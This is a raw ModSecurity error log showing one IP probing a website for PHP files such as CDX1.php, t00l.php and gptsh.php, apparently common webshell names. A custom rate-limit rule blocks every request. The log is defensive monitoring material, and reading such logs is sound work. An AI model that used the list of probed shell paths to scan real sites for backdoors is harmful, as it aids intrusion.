[Tue Mar 31 03:58:38.532227 2026] [:error] [pid 18439:tid 18452] [client 4.223.111.108:36389] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acrV7i-R9nOaA8Xqs7iCvgAAAME"]
[Tue Mar 31 03:58:39.069035 2026] [:error] [pid 18439:tid 18455] [client 4.223.111.108:25870] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acrV7y-R9nOaA8Xqs7iCwwAAAMQ"]
[Tue Mar 31 03:58:39.690405 2026] [:error] [pid 18439:tid 18467] [client 4.223.111.108:6037] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acrV7y-R9nOaA8Xqs7iCxAAAANA"]
[Tue Mar 31 03:58:40.217087 2026] [:error] [pid 18439:tid 18461] [client 4.223.111.108:31855] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acrV8C-R9nOaA8Xqs7iCygAAAMo"]
[Tue Mar 31 03:58:40.755367 2026] [:error] [pid 18333:tid 18390] [client 4.223.111.108:25901] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acrV8ESx2C5hLR0-8dK-rAAAAEs"]
[Tue Mar 31 03:58:41.311447 2026] [:error] [pid 18334:tid 18414] [client 4.223.111.108:27522] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acrV8XqQrXLbk1cg3mgNqgAAAIg"]
[Tue Mar 31 03:58:41.943360 2026] [:error] [pid 18439:tid 18474] [client 4.223.111.108:30868] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acrV8S-R9nOaA8Xqs7iCzgAAANc"]
[Tue Mar 31 03:58:42.491590 2026] [:error] [pid 18334:tid 18422] [client 4.223.111.108:27549] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acrV8nqQrXLbk1cg3mgNrwAAAJA"]
[Tue Mar 31 03:58:43.032798 2026] [:error] [pid 18439:tid 18473] [client 4.223.111.108:31869] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acrV8y-R9nOaA8Xqs7iC1AAAANY"]
[Tue Mar 31 03:58:43.573954 2026] [:error] [pid 18334:tid 18409] [client 4.223.111.108:29832] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acrV83qQrXLbk1cg3mgNtwAAAIM"]
[Tue Mar 31 03:58:44.103732 2026] [:error] [pid 18439:tid 18468] [client 4.223.111.108:29829] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrV9C-R9nOaA8Xqs7iC2wAAANE"]
[Tue Mar 31 03:58:44.635698 2026] [:error] [pid 18334:tid 18417] [client 4.223.111.108:31865] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrV9HqQrXLbk1cg3mgNugAAAIs"]
[Tue Mar 31 03:58:45.177230 2026] [:error] [pid 18439:tid 18457] [client 4.223.111.108:36358] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrV9S-R9nOaA8Xqs7iC3gAAAMY"]
[Tue Mar 31 03:58:45.707096 2026] [:error] [pid 18333:tid 18391] [client 4.223.111.108:5408] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrV9USx2C5hLR0-8dK-sQAAAEw"]
[Tue Mar 31 03:58:46.236793 2026] [:error] [pid 18439:tid 18470] [client 4.223.111.108:5605] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acrV9i-R9nOaA8Xqs7iC5QAAANM"]
[Tue Mar 31 03:58:46.793657 2026] [:error] [pid 18439:tid 18453] [client 4.223.111.108:5586] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acrV9i-R9nOaA8Xqs7iC6gAAAMI"]
[Tue Mar 31 03:58:47.321676 2026] [:error] [pid 18439:tid 18472] [client 4.223.111.108:5697] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acrV9y-R9nOaA8Xqs7iC8QAAANU"]
[Tue Mar 31 03:58:47.848243 2026] [:error] [pid 18439:tid 18452] [client 4.223.111.108:5587] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acrV9y-R9nOaA8Xqs7iC9gAAAME"]
[Tue Mar 31 03:58:48.379516 2026] [:error] [pid 18333:tid 18383] [client 4.223.111.108:30878] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acrV-ESx2C5hLR0-8dK-swAAAEQ"]
[Tue Mar 31 03:58:48.917490 2026] [:error] [pid 18439:tid 18470] [client 4.223.111.108:29844] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acrV-C-R9nOaA8Xqs7iC_wAAANM"]
[Tue Mar 31 03:58:49.446159 2026] [:error] [pid 18333:tid 18401] [client 4.223.111.108:41586] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acrV-USx2C5hLR0-8dK-tgAAAFY"]
[Tue Mar 31 03:58:49.977854 2026] [:error] [pid 18439:tid 18456] [client 4.223.111.108:5704] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acrV-S-R9nOaA8Xqs7iDAwAAAMU"]
[Tue Mar 31 03:58:50.506878 2026] [:error] [pid 18332:tid 18350] [client 4.223.111.108:5383] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acrV-r4KXr1F9raS5GR5bgAAAAI"]
[Tue Mar 31 03:58:51.037957 2026] [:error] [pid 18334:tid 18417] [client 4.223.111.108:5699] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acrV-3qQrXLbk1cg3mgNwgAAAIs"]
[Tue Mar 31 03:58:51.677342 2026] [:error] [pid 18334:tid 18424] [client 4.223.111.108:31864] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acrV-3qQrXLbk1cg3mgNxwAAAJI"]
[Tue Mar 31 03:58:52.565672 2026] [:error] [pid 18333:tid 18391] [client 4.223.111.108:27533] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acrV_ESx2C5hLR0-8dK-vQAAAEw"]
[Tue Mar 31 03:58:53.125153 2026] [:error] [pid 18334:tid 18422] [client 4.223.111.108:25910] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acrV_XqQrXLbk1cg3mgNygAAAJA"]
[Tue Mar 31 03:58:54.013161 2026] [:error] [pid 18439:tid 18468] [client 4.223.111.108:30895] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acrV_i-R9nOaA8Xqs7iDBwAAANE"]
[Tue Mar 31 03:58:54.783427 2026] [:error] [pid 18439:tid 18458] [client 4.223.111.108:36391] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acrV_i-R9nOaA8Xqs7iDCwAAAMc"]
[Tue Mar 31 03:58:55.602776 2026] [:error] [pid 18332:tid 18363] [client 4.223.111.108:27577] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acrV_74KXr1F9raS5GR5dwAAAA8"]
[Tue Mar 31 03:58:56.409536 2026] [:error] [pid 18332:tid 18365] [client 4.223.111.108:29852] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acrWAL4KXr1F9raS5GR5ewAAABE"]
[Tue Mar 31 03:58:57.231814 2026] [:error] [pid 18333:tid 18386] [client 4.223.111.108:29850] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acrWAUSx2C5hLR0-8dK-zwAAAEc"]
[Tue Mar 31 03:58:58.155653 2026] [:error] [pid 18439:tid 18473] [client 4.223.111.108:5610] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acrWAi-R9nOaA8Xqs7iDFAAAANY"]
[Tue Mar 31 03:58:59.823972 2026] [:error] [pid 18332:tid 18373] [client 4.223.111.108:5401] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acrWA74KXr1F9raS5GR5ggAAABg"]
[Tue Mar 31 03:59:00.805370 2026] [:error] [pid 18439:tid 18474] [client 4.223.111.108:48012] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acrWBC-R9nOaA8Xqs7iDIQAAANc"]
[Tue Mar 31 03:59:01.704804 2026] [:error] [pid 18333:tid 18398] [client 4.223.111.108:6041] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acrWBUSx2C5hLR0-8dK-2gAAAFM"]
[Tue Mar 31 03:59:02.353001 2026] [:error] [pid 18334:tid 18408] [client 4.223.111.108:36408] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acrWBnqQrXLbk1cg3mgN4AAAAII"]
[Tue Mar 31 03:59:03.000857 2026] [:error] [pid 18439:tid 18464] [client 4.223.111.108:27548] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acrWBi-R9nOaA8Xqs7iDJAAAAM0"]
[Tue Mar 31 03:59:04.026644 2026] [:error] [pid 18334:tid 18406] [client 4.223.111.108:31830] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acrWCHqQrXLbk1cg3mgN5AAAAIA"]
[Tue Mar 31 03:59:05.017267 2026] [:error] [pid 18334:tid 18409] [client 4.223.111.108:6059] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acrWCXqQrXLbk1cg3mgN6QAAAIM"]
[Tue Mar 31 03:59:06.802646 2026] [:error] [pid 18439:tid 18454] [client 4.223.111.108:25896] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acrWCi-R9nOaA8Xqs7iDLwAAAMM"]
[Tue Mar 31 03:59:07.725251 2026] [:error] [pid 18334:tid 18415] [client 4.223.111.108:30876] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acrWC3qQrXLbk1cg3mgN9AAAAIk"]
[Tue Mar 31 03:59:08.683033 2026] [:error] [pid 18334:tid 18425] [client 4.223.111.108:41557] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acrWDHqQrXLbk1cg3mgN-AAAAJM"]
[Tue Mar 31 03:59:09.587720 2026] [:error] [pid 18333:tid 18400] [client 4.223.111.108:35770] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acrWDUSx2C5hLR0-8dK-7AAAAFU"]
[Tue Mar 31 03:59:10.624815 2026] [:error] [pid 18439:tid 18472] [client 4.223.111.108:36407] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acrWDi-R9nOaA8Xqs7iDQgAAANU"]
[Tue Mar 31 03:59:12.685613 2026] [:error] [pid 18439:tid 18460] [client 4.223.111.108:48009] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acrWEC-R9nOaA8Xqs7iDVAAAAMk"]
[Tue Mar 31 03:59:13.595180 2026] [:error] [pid 18334:tid 18414] [client 4.223.111.108:27545] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acrWEXqQrXLbk1cg3mgOBQAAAIg"]
[Tue Mar 31 03:59:14.174914 2026] [:error] [pid 18334:tid 18409] [client 4.223.111.108:29853] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acrWEnqQrXLbk1cg3mgOCAAAAIM"]
[Tue Mar 31 03:59:15.061880 2026] [:error] [pid 18439:tid 18457] [client 4.223.111.108:30862] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acrWEy-R9nOaA8Xqs7iDYwAAAMY"]
[Tue Mar 31 03:59:16.042314 2026] [:error] [pid 18439:tid 18462] [client 4.223.111.108:41565] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acrWFC-R9nOaA8Xqs7iDZwAAAMs"]
[Tue Mar 31 03:59:17.085110 2026] [:error] [pid 18334:tid 18427] [client 4.223.111.108:29843] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acrWFXqQrXLbk1cg3mgOEwAAAJU"]
[Tue Mar 31 03:59:17.738153 2026] [:error] [pid 18334:tid 18413] [client 4.223.111.108:5423] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acrWFXqQrXLbk1cg3mgOGQAAAIc"]
[Tue Mar 31 03:59:18.838420 2026] [:error] [pid 18439:tid 18471] [client 4.223.111.108:36365] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acrWFi-R9nOaA8Xqs7iDewAAANQ"]
[Tue Mar 31 03:59:19.528345 2026] [:error] [pid 18333:tid 18388] [client 4.223.111.108:31812] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acrWF0Sx2C5hLR0-8dK--QAAAEk"]
[Tue Mar 31 03:59:20.110349 2026] [:error] [pid 18333:tid 18382] [client 4.223.111.108:29837] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acrWGESx2C5hLR0-8dK--gAAAEM"]
[Tue Mar 31 03:59:20.906441 2026] [:error] [pid 18439:tid 18462] [client 4.223.111.108:27534] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acrWGC-R9nOaA8Xqs7iDiQAAAMs"]
